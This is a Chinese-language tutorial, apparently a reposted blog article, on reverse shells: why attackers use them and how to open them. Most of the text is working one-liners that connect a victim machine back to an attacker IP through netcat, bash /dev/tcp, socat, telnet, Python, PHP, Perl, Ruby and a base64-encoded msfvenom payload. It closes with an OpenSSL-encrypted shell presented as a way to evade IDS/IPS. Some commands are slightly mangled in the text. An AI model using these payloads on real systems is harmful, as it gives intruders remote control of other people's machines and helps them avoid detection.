假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。
那么为什么要用反弹shell呢?
反弹shell通常适用于如下几种情况:
•目标机因防火墙受限,目标机器只能发送请求,不能接收请求。•目标机端口被占用。•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。•对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。•......
对于以上几种情况,我们是无法利用正向连接的,要用反向连接。
那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。
反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,
目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell
具有python环境,那我们可以利用python反弹shell
如果具有php环境,那我们可以利用php反弹shell
Netcat 是一款简单的Unix工具,使用UDP和TCP协议。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。使用它你可以轻易的建立任何连接。
目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了
首先没有-e参数的操作情况
攻击机需要开启两个终端窗口,监听两个端口,一个最后一个界面用于输入命令,一个界面用于回显结果
nc -lvp 6666
nc -lvp 7777
然后再被攻击机上输入一句话
nc 192.168.111.128 6666|/bin/bash|nc 192.168.111.128 7777
这时攻击机回显结果
此时在6666窗口中输入指令,结果会返回到7777窗口中
输入指令
回显结果
命令讲解如下:
nc 192.168.28.133 6666|/bin/bash|nc 192.168.28.133 7777
首先我们连接到6666端口进行通信,然后把通信的内容作为输入放到/bin/bash解释器里面去,再把解释器运行出来的内容作为输入通信到7777端口,于是就有了上述的画面。
这里有一个地方值得注意以下:如果我们6666端口输入的命令是错误的命令,那么报错不会回显到7777端口,而是直接在受害机上显示:
带-e的操作
个人感觉反弹shell最好用的方法就是使用bash结合重定向方法的一句话,具体命令如下:
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1或bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
首先攻击机nc监听端口
nc -lvp 2333
这时在被攻击服务器上使用bash一句话反弹
发现在攻击机上反弹shell成功
bash一句话解读
命令 | 命令详解 |
bash -i | 产生一个bash交互环境。 |
>& | 将联合符号前面的内容与后面相结合,然后一起重定向给后者。 |
/dev/tcp/47.xxx.xxx.72/2333 | Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。 |
0>&1 | 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。 |
Bash反弹一句完整的解读过程就是:
Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。
这里操作也很简单,借助了Linux中的管道。
首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:
没写完反弹Shell,看这一篇就够了 - 腾讯云开发者社区-腾讯云
Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此。我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参见这里:http://brieflyx.me/2015/linux-tools/socat-introduction/
安装Socat的方法很简单:
•Ubuntu等可以直接使用 apt-get install socat
命令进行安装•也可以去官网下载源码包:http://www.dest-unreach.org/socat
攻击机开启本地监听:
socat TCP-LISTEN:2333 -或nc -lvp 2333
一句话
socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
可能需要搭配Ctrl+z
中断命令,将任务中止(暂停的意思),但是此任务并没有结束,他仍然在进程中他只是维持挂起的状态,用户可以使用fg/bg操作继续前台或后台的任务,fg命令重新启动前台被中断的任务,bg命令把被中断的任务放在后台执行
当nc和/dev/tcp不可用,且目标主机和攻击机上支持Telnet服务时,我们可以使用Telnet反弹shell。
攻击机开启本地监听:
nc -lvp 2333
目标机主动连接攻击机:
mknod a p; telnet 47.xxx.xxx.72 2334 0a
如果出现以下问题
telnet: Unable to connect to remote host: Connection refused
/bin/bash: 行 1: Trying:未找到命令
记得可以更换一下连接端口
注意!:
telnet命令一般用来检测一个端口使用,新安装的linux系统或是Mac系统都可能是不支持telnet命令的,所以我们需要安装一下
linux下使用命令安装
yum install telnet
说一下攻击机上的playload:
mknod a p; telnet 47.xxx.xxx.72 2333 0a
mknod:创建一个管道,telnet 连接通信并且把输入重定向到管道a中去,1>a,把输出重定向到管道a中去
如果说这个管道符号不好理解的话,那就看看下面这个
这个方法和上面nc -e 被阉割的方法一样,都是开启两个监听,然后通过不断的重定向符号反弹shell
受害机:telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000
攻击机:nc -lvp 2333 nc -lvp 4000
命令很简单,就不解释了。如果看不懂就去看nc -e被阉割的情况,类容都差不多
当目标主机上有python环境时,我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。
攻击机开启本地监听:
nc -lvp 2333
目标机主动连接攻击机:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.111.128",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bingo
当目标主机上有php环境时,我们可以用php来反弹shell。
攻击机开启本地监听:
nc -lvp 2333
目标机主动连接攻击机:
php -r '$sock=fsockopen("192.168.111.128",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
bingo
当目标主机上有perl环境时,我们可以用perl来反弹shell。
攻击机开启本地监听:
nc -lvvp 2333
复制
目标机主动连接攻击机:
perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
复制
执行效果如下:
当目标主机上有ruby环境时,我们可以用ruby来反弹shell。
攻击机开启本地监听:
nc -lvvp 2333
复制
目标机主动连接攻击机:
ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'或ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
复制
执行效果如下:
强大的Metasploit框架也为我们提供了生成一句话反弹shell的工具,即msfvenom,绝对的实用。当我们不记得前面说的所有反弹shell的反弹语句时,只要我们有Metasploit,那么我们随时都可以使用 msfvenom -l
来查询生成我们所需要的各类命令行一句话,具体使用方法如下。
我们直接可以使用 msfvenom -l
结合关键字过滤(如cmd/unix/reverse),列出我们需要生成的各类反弹shell一句话的payload:
msfvenom -l payloads | grep 'cmd/unix/reverse'
如上图所示,metasploit支持生成反弹shell一句话的类型非常丰富,大家可以依据渗透测试对象自行选择使用。比如,我们获取一个python反弹shell的一句话:
msfvenom -p cmd/unix/reverse_python LHOST=192.168.111.128 LPORT=2333 -f raw
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAgICwgICAgICAgIHN1YnByb2Nlc3MgICAgICAsICAgICAgICBvcyAgICAgIDsgICAgICAgICBob3N0PSIxOTIuMTY4LjExMS4xMjgiICAgICAgOyAgICAgICAgIHBvcnQ9MjMzMyAgICAgIDsgICAgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICAgICAsICAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgOyAgICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAgICwgICAgICAgIHBvcnQpKSAgICAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAsICAgICAgICAwKSAgICAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAsICAgICAgICAxKSAgICAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAsICAgICAgICAyKSAgICAgIDsgICAgICAgICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik=')[0]))"
执行生成的payload
bingo
其实,上面所讲的各种方法获取的shell都不是一个标准的虚拟终端环境,它仅仅是一个标准输入。你会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但是往往会发现其交互性非常的差,回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种。
•获取的虚拟终端没有交互性,我们想给添加的账号设置密码或执行sudo等命令,无法完成。•标准的错误输出无法显示,无法正常使用vim等文本编辑器等。•获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。
获取的终端并没有进行交互
这往往都是因为我们获取的shell并不是标准的虚拟终端,为了能够完成输入密码等操作,我们必须模拟一个真正的终端设备。
我们其实可以借助于python默认包含的一个pty标准库来获取一个标准的虚拟终端环境。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。
我们只需在获取的shell里面输入如下命令,即可模拟一个终端设备:
python -c "import pty;pty.spawn('/bin/bash')"
获取成功了
在上文中,我们总结了很多反弹shell得方法,但是我发现这种反弹 shell 方式都有一个缺点,那就是所有的流量都是明文传输的。这些通过shell通过传输的流量都可以被管理员直接抓取并理解,当目标主机网络环境存在网络防御检测系统时(IDS、IPS等),网络防御检测系统会获取到我们的通信内容并进行告警和阻止。因此,我们需要对通信的内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密的 shell。
在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。
SSL协议要求建立在可靠的传输层协议(TCP)之上。SSL协议的优势在于它是与应用层协议独立无关的,高层的应用层协议(例如:HTTP,FTP,TELNET等)能透明地建立于SSL协议之上。SSL协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商及服务器认证工作。在此之后应用层协议所传送的数据都会被加密,从而保证通信的私密性。
在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车即可:
假设我们从目标机反弹 shell 到攻击机 。首先需要利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口,在这里使用 2333 端口:
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.111.128:2333 > /tmp/s; rm /tmp/s
这样攻击者便使用 OpenSSL 反弹了目标机一个加密的 shell。(未成功)
其次谈谈我对于反弹的理解:反弹shell往往用于不能出网,只能请求不能接受的环境,实际情况中我们当然也不是真正的在受害机里面输入命令,往往是在某种业务下或者拿到路由器之类的。shell反弹的正理主要在于重定向符号的使用以及"|"符号的使用,能够把标准输入输出信息通过冲动向的方式定向到我们攻击主机上去。知道了原理,理解shell反弹也就不难了